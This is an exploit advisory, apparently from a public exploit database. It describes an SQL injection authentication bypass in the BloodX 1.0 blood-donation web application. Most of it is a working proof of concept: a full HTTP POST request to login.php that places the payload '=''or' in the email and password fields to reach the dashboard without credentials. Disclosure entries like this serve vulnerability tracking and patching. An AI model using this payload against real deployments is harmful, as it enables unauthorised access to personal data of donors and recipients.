BloodX version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.
098cdbfbdda8634750a4bc323dfafea3a0c36f12d0607b296fa66c3155b40b9f
# Exploit Title: BloodX 1.0 - Authentication Bypass
# Author: riamloo
# Date: 2019-12-31
# Vendor Homepage: https://github.com/diveshlunker/BloodX
# Software Link: https://github.com/diveshlunker/BloodX/archive/master.zip
# Version: 1
# CVE: N/A
# Tested on: Win 10
# Discription:
# An standalone platform which lets donors, receivers, organizers and sponsers to merge.
# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
https://localhost//BloodX-master/login.php
POST /BloodX-master/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
Referer: https://localhost/BloodX-master/login.php
Cookie: PHPSESSID=qusaqht0gvh0f97vbf44ep3iu
Connection: keep-alive
Upgrade-Insecure-Requests: 1
email=%27%3D%27%27or%27&password=%27%3D%27%27or%27&submit=LOGIN